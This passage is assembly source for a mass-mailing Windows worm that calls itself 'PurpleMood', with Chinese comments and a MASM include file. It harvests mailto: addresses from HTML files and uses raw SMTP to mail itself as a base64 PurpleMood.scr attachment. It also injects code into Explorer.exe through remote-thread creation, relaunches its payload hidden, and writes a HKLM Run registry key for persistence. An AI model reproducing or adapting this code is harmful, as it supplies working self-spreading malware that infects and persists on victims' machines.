  mov ax,0A0Dh
        stosw
        ret
        
EncodeBase64 EndP

;**********************************************
;发送邮件函数
;1. 连接SMTP Server
;2. 发送协议信息,发送BASE64编码的附件,发送其余数据
;warning: 发送数据的长度
;**********************************************
SendMail PROC

pushad

        push     NULL
        push     SOCK_STREAM
        push     AF_INET
        mov      eax , 12345678h
_socket         = dword ptr $-4
call     eax  
        mov      VSocket[ebx],eax
        
push     sizeof(sockaddr)  ; Size of connect strucure=16
call     @SMTP1     ; Connect structure
dw       AF_INET           ; Family
db       0,25     ; Port number,avoid htons :)
ServIP  dd       0     ; in_addr of server
db       8 dup(0)    ; Unused
@SMTP1:
push     [offset VSocket+ebx]
mov      eax , 12345678h
_connect         = dword ptr $-4          
call     eax
  
lea      eax,[offset SM_I+ebx]
push     eax
mov      eax,12345678h
_lstrlen         = dword ptr $ - 4
call     eax
  
push     NULL
push     eax
call     SM_I_End
SM_I:
HelloServer  db 'HELO cx',0dh,0ah
             db 'MAIL FROM: <'
TempMailTo   db  128 dup (0)    
SM_I_End:
push     [offset VSocket+ebx]
call     _send[ebx]

        push     NULL
push     SM_II_End - SM_II
call     SM_II_End
SM_II:
             db  '>',0dh,0ah
RcptTo       db 'RCPT TO: <test@pact518.hit.edu.cn>',0dh,0ah
SM_II_End:
push     [offset VSocket+ebx]
call     _send[ebx]

push     NULL
push     SM_Data_Len
call     SM_Data
MailData     db 'DATA',0dh,0ah
             db 'Subject:hi',0dh,0ah
             db 'Content-Type: multipart/mixed;boundary=WC_MAIL_PaRt_BoUnDaRy_05151998',0dh,0ah
             db '--WC_MAIL_PaRt_BoUnDaRy_05151998',0dh,0ah
      db 'Content-Type: application/octet-stream; file=PurpleMood.scr',0dh,0ah
            db 'Content-Transfer-Encoding: base64',0dh,0ah
             db 'Content-Disposition: attachment; filename=PurpleMood.scr',0dh,0ah,0dh,0ah
SM_Data_Len       =  $ - MailData
SM_Data:
        push     [offset VSocket+ebx]
call     _send[ebx]

        mov      eax,Base64_Encoded_Data[ebx]
        push     eax
        call     _lstrlen[ebx]
push     NULL                     ;Send base64 attachment
push     eax                      ;SIZEOF_VIRUS_BASE64
push     [offset Base64_Encoded_Data+ebx] ; Buffer
push     [offset VSocket+ebx]
call     _send[ebx]

push     NULL
push     SM_DR_Len
call     SM_DR
MailDataRemain   db '--WC_MAIL_PaRt_BoUnDaRy_05151998--',0dh,0ah
                 db 0dh,0ah,'.',0dh,0ah,'QUIT',0dh,0ah
SM_DR_Len       =  $ - MailDataRemain
SM_DR:
push     [offset VSocket+ebx]
call     _send[ebx]          
            
push     [offset VSocket+ebx]
mov      eax , 12345678h
_closecsoket        = dword ptr $-4
call     eax  
          
popad
ret          
        
SendMail ENDP      
      
;分析MailFileName(*.htm*),寻找Mail_Addr.

Parse_HTM PROC FileName  :DWORD
      
        LOCAL   hFile    : DWORD
        LOCAL   hMapping : DWORD
        LOCAL   SafeFSize: DWORD      

pushad
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_READ
push FileName
call _CreateFile[ebx]
or      eax,eax
jz PH_Exit
mov     hFile , eax

xor eax,eax
push eax
push eax
push eax
push PAGE_READONLY
push eax
push hFile
call _CreateFileMapping[ebx]
or eax,eax
jz PH_Close
mov     hMapping,eax

xor eax,eax
push eax
push eax
push eax
push FILE_MAP_READ
push hMapping
call _MapViewOfFile[ebx]
or eax,eax
jz PH_Close2
xchg eax,esi           ;esi = pMapping

push 0
push hFile
        mov     eax , 12345678h
_GetFileSize    = dword ptr $-4
        call    eax  
sub     eax,16            ;For security
add     eax,esi        
mov     SafeFSize,eax     ;esi must be below SafeFSize        
      
        .while  esi < SafeFSize
            xor    edx,edx         ;Valid = FALSE
            @pushsz     'mailto:'
            pop    edi              
            push   7               ;strlen of 'mailto:'
            pop    ecx
            repz  cmpsb      
       .if    zero?            ;找到 mailto:
             lea   edi,[offset TempMailTo+ebx]  
                    push  edi
                   .while  esi<SafeFSize
                           lodsb
                           .if      al==' '
                                    .continue                                                    
                           .elseif  al=='>' || al=='"' ||al==''''||al=='<'
                                     xor al,al
                                     stosb
                                     .break
                           .elseif  al=='@'    
                                     stosb
                                     inc  edx                                    
                           .else  
                                     stosb                  
                           .endif
                    .endw  
                    pop    edi                
                    .if    edx==1
                           call SendMail
                    .endif    
        .endif
        inc esi
    .endw

PH_Close3:
push esi
call _UnmapViewOfFile[ebx]  
PH_Close2:
push hMapping
call _CloseHandle[ebx]
PH_Close:
push hFile
call _CloseHandle[ebx]  
PH_Exit:
popad
ret     4

Parse_HTM ENDP      

;****************************      
;data used by SendMail
;****************************
WSA_Data     WSADATA   <>  
VSocket       dd        0
_send         dd        0
Base64_Encoded_Data     dd  0
Base64DecodeTable       equ  $
          db   'A','B','C','D','E','F','G','H','I','J'
          db   'K','L','M','N','O','P','Q','R','S','T'
   db   'U','V','W','X','Y','Z','a','b','c','d'
   db   'e','f','g','h','i','j','k','l','m','n'
   db   'o','p','q','r','s','t','u','v','w','x'
   db   'y','z','0','1','2','3','4','5','6','7'
   db   '8','9','+','/'
SizeOfBase64DecodeTable      equ $-Base64DecodeTable
  
;********CreatePE**********************
CreatePE PROC
    
     LOCAL ByteWrite:DWORD
      
     pushad
     lea   eax , [offset szFilePath+ebx]
     push  NULL
     push  FILE_ATTRIBUTE_NORMAL
     push  CREATE_NEW
     push  NULL
     push  FILE_SHARE_READ+FILE_SHARE_WRITE
     push  GENERIC_READ+GENERIC_WRITE
     push  eax
     call  _CreateFile[ebx]              
     or    eax,eax
     jz    CT_Exit
     xchg  eax,esi
    
     lea   edi,ByteWrite
     push  0
     push  edi
     push  200h           ;  文件头<200h & FileAliagment=200h          
     lea   eax,[offset MDosStub+ebx]
     push  eax
     push  esi               ;esi=hFile
     call  _WriteFile[ebx]   ;Write  DosStub,NTHeader,SectionHeader
    
     push  0
     push  edi
     push  VRAW_SIZE
     lea   eax,[offset VStart+ebx]
     push  eax
     push  esi
     call  _WriteFile[ebx]    ;Write code and import tatle
    
     push  esi
     call  _CloseHandle[ebx]
CT_Exit:
     popad
     ret
    
CreatePE ENDP

;*************MonitorThread********************************
;Enum所有活动进程,插入rtThreadStart->rtThreadEnd的代码,监视PurpleMood.scr
;的运行和注册表的Run项.
;**********************************************************
MonitorThread  PROC  MReloc : DWORD      
        
        mov      ebx , MReloc
@pushsz  'PSAPI'
call  _LoadLibraryA[ebx]
        xchg     eax,esi
          
@pushsz  'EnumProcesses'
push  esi
call  _GetProcAddress[ebx]
mov  _EnumProcesses[ebx],eax
    
@pushsz  'EnumProcessModules'
push  esi
call     _GetProcAddress[ebx]
mov  _EnumProcessModules[ebx],eax
    
@pushsz  'GetModuleBaseNameA'
push  esi
call  _GetProcAddress[ebx]
mov  _GetModuleBaseNameA[ebx],eax

lea  esi,[offset procz + ebx]
lea  edi,[offset tmp   + ebx]
push  edi
push  128
push  esi
mov  eax,12345678h
_EnumProcesses   = dword ptr $-4
call  eax       ;enumerate all running processes
dec  eax
jne  MT_Exit
add  esi,4           ;esi->ProcessIDs[128]

p_search:
lodsd     ;get PID
test eax,eax
je MT_Exit
call AnalyseProcess       ;and try to infect it
jmp p_search
MT_Exit:
        ret     4
        
MonitorThread  ENDP


AnalyseProcess Proc        
        pushad
push eax        ;process id
push 0        
push PROCESS_VM_OPERATION or PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_READ or PROCESS_QUERY_INFORMATION
mov eax,12345678h
_OpenProcess    = dword ptr $-4
call eax    ;PID -> handle
or eax,eax
jz AP_Exit
mov hProcess[ebx],eax
  
lea esi,[offset modz + ebx]
lea ecx,[offset tmp  + ebx]
push ecx
push 4
push esi
push hProcess[ebx]
mov eax,12345678h
_EnumProcessModules = dword ptr $-4
call eax    ;get first (main) module
dec eax
jne AP_Exit

lodsd
lea edi,[offset mod_name + ebx]
push MAX_PATH
push edi
push eax
push hProcess[ebx]
mov eax,12345678h
_GetModuleBaseNameA = dword ptr $-4
call eax    ;get its name
test eax,eax
je AP_Exit
        
        @pushsz 'Explorer.exe'
        push    edi
        call    _lstrcmpi[ebx]
        jnz     AP_Exit
            
lea esi,[offset rtThreadStart + ebx]
mov edi,rtThreadEnd - rtThreadStart
        push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push edi
push 0
push 12345678h
hProcess  =     dword ptr $-4
mov eax,12345678h
_VirtualAllocEx = dword ptr $-4
call eax    ;aloc there a memory
test eax,eax
je AP_Exit
xchg eax,ebp

push 0
push edi
push esi
push ebp
push dword ptr [ebx + offset hProcess]
mov eax,12345678h
_WriteProcessMemory = dword ptr $-4
call eax   ;write there our code
dec eax
jne AP_FreeMem

xor edx,edx
push edx
push edx
push edx
push ebp
push edx
push edx
push dword ptr hProcess[ebx]
mov eax,12345678h
_CreateRemoteThread = dword ptr $-4
  call eax   ;run remote thread!
  jmp     AP_Exit         ;important,i forgot first  
AP_FreeMem:
push MEM_RELEASE
push 0
push ebp
push dword ptr hProcess[ebx]
mov eax,12345678h
_VirtualFreeEx = dword ptr $-4
call eax    ;free memory
AP_Exit :        
        popad
        ret
AnalyseProcess EndP              

procz  dd 128 dup (?)
  dd ?
modz  dd ?
mod_name db MAX_PATH dup (?)
tmp  dd ?


rtThreadStart:        
        call     rtStart
rtStart:
        pop      ebx
        sub      ebx , offset rtStart        
        call     rtInit
rtWork:        
        call     MakeSCRAlive        
        push     1000*60
        mov      eax , 12345678h
_Sleep           = dword ptr $ - 4
        call     eax
        jmp      short rtWork
        
rtInit:
        @pushsz  'shlwapi.dll'
        mov      eax , 12345678h
_LoadLibraryA    = dword ptr $ - 4
        call     eax        
        @pushsz  'SHSetValueA'
        push     eax
        mov      eax , 12345678h
_GetProcAddress = dword ptr $ - 4        
        call     eax        
        mov      _SHSetValueA[ebx],eax  
        ret
            
MakeSCRAlive:
        call   @RT1
nGetProcAddress    db   'GetProcAddress',0
@RT1:   push   FALSE
        push   1
        mov    eax , 12345678h
_OpenMutex     = dword ptr $ - 4
        call   eax
        xchg   esi,eax
        
        .if    esi == NULL
               jmp    RunSCR
        .else
               push   esi
               mov    eax , 12345678h
_ReleaseMutex  = dword  ptr $ - 4
               call   eax
               push   esi
               mov    eax , 12345678h
_CloseHandle   = dword ptr $ - 4
               call   eax
               jmp    RegistSCR
        .endif
                  
RunSCR:
        push   SW_HIDE
        call   @RT2
szFilePath     db   50  dup (0)
@RT2:   mov    eax , 12345678h
_WinExec       = dword ptr $ - 4      
        call   eax
        
RegistSCR:
        lea      eax,[offset szFilePath+ebx]
        push     12345678h
SCRPathSize     = dword ptr $-4        
    push     eax
push     REG_SZ
        @pushsz  'PurpleMood'
@pushsz  'Software\Microsoft\Windows\CurrentVersion\Run'
push     HKEY_LOCAL_MACHINE
        mov      eax,12345679h
_SHSetValueA     = dword ptr $-4
        call     eax             ;eax = SHSetValueA addr
        ret
      
rtThreadEnd:

;*************Virus Data******************************
Signature        db   '紫色心情,你永远的期待',0
HostEntry          dd   0
hKernel32          dd   0
szEXEPath          db  MAX_PATH  dup (0)
szFileName         db  '\PurpleMood.scr',0
FNameSize          =   $ - szFileName
wfd                WIN32_FIND_DATA  <>

;*****************PE Data*****************************
VImports:
                   dd        offset Kernel32_Pointers + @
                   dd        -1,-1
                   dd        offset Kernel32_Name + @
VIAT:    
                   dd        offset Kernel32_Relocated + @
                   db        14 dup (0)
Kernel32_Pointers  dd        offset Kernel32_Beep + @ , 0
Kernel32_Relocated dd        offset Kernel32_Beep + @ , 0
Kernel32_Beep      db        ?,?,'MessageBoxA',0
Kernel32_Name      db        'User32.dll',0
                          
MDosStub:
   db  4Dh,5Ah,90h,00,03,00, 00, 00, 04, 00, 00,00,0FFh,0FFh,00,00
   db  0B8h,00,00,00, 00, 00, 00, 00,40h, 00, 00, 00, 00, 00,00,00
   db  00, 00, 00,00,00,00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00
   db  00, 00, 00, 00,00,00,00,00, 00, 00, 00, 00, 40h, 00, 00, 00
   db  50h,45h,00,00
  
MFileHeader:
  Machine               dw      14Ch
  NumberOfSections      dw      1
  TimeDateStamp         dd      3cbe5cc2h
  PointerToSymbolTable  dd      0
  NumberOfSymbols       dd      0
  SizeOfOptionalHeader  dw      0e0h
  Characteristics       dw      10fh
  
MIMAGE_OPTIONAL_HEADER32:
    Magic                         dw       10bh
    MajorLinkerVersion            db       5
    MinorLinkerVersion            db       12
    SizeOfCode                    dd       VRAW_SIZE
    SizeOfInitializedData         dd       0
    SizeOfUninitializedData       dd       0
    AddressOfEntryPoint           dd       1000h
    BaseOfCode                    dd       1000h
    BaseOfData                    dd       3000h    
    ImageBase                     dd       400000h
    SectionAlignment              dd       1000h
    FileAlignment                 dd       200h
    MajorOperatingSystemVersion   dw       4
    MinorOperatingSystemVersion   dw       0
    MajorImageVersion             dw       0
    MinorImageVersion             dw       0
    MajorSubsystemVersion         dw       4
    MinorSubsystemVersion         dw       0
    Win32VersionValue             dd       0
    SizeOfImage                   dd       3000h;need to change st
    SizeOfHeaders                 dd       200h
    CheckSum                      dd       0
    Subsystem                     dw       2        ;(Windows GUI)
    DllCharacteristics            dw       0
    SizeOfStackReserve            dd       100000h
    SizeOfStackCommit             dd       1000h
    SizeOfHeapReserve             dd       100000h
    SizeOfHeapCommit              dd       1000h
    LoaderFlags                   dd       0
    NumberOfRvaAndSizes           dd       10h
    DataDirectory                 dd       0,0
                     dd       offset VImports+@,VIMPORT_SIZE
                     dd       14h dup(0)
                     dd       offset VIAT + @,8
                     dd       0,0,0,0,0,0

MIMAGE_SECTION_HEADER:
    Name1                db  '.xjs',0,0,0,0
    VirtualSize          dd  offset VEnd - offset VStart
    VirtualAddress       dd  1000h
    SizeOfRawData        dd  VRAW_SIZE
    PointerToRawData     dd  200h
    PointerToRelocations dd  0
    PointerToLinenumbers dd  0
    NumberOfRelocations  dw  0
    NumberOfLinenumbers  dw  0
    Characteristic       dd  0E0000020h
        
VEnd:
CODE ends
end main

-----------------------------------------------------------------------------

useful.inc

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\mpr.inc
includelib \masm32\lib\mpr.lib

include \masm32\include\wsock32.inc
includelib \masm32\lib\WS2_32.LIB

MIN_KERNEL_SEARCH_BASE    EQU  70000000h
@                         EQU  1000h - offset VStart
VIMPORT_SIZE              EQU  offset MDosStub - offset VImports
VRAW_SIZE                 EQU  1024*7   ;=7k 了 :(
FILE_HTM                  EQU  0
FILE_EXE                  EQU  1
FILE_ALL                  EQU  2

SIZEOF_VIRUS_FILE   = 1024*7 + 512 ;FileHeader=512=200h

@pushsz MACRO  str
LOCAL next
call  next
db    str,0
next:
ENDM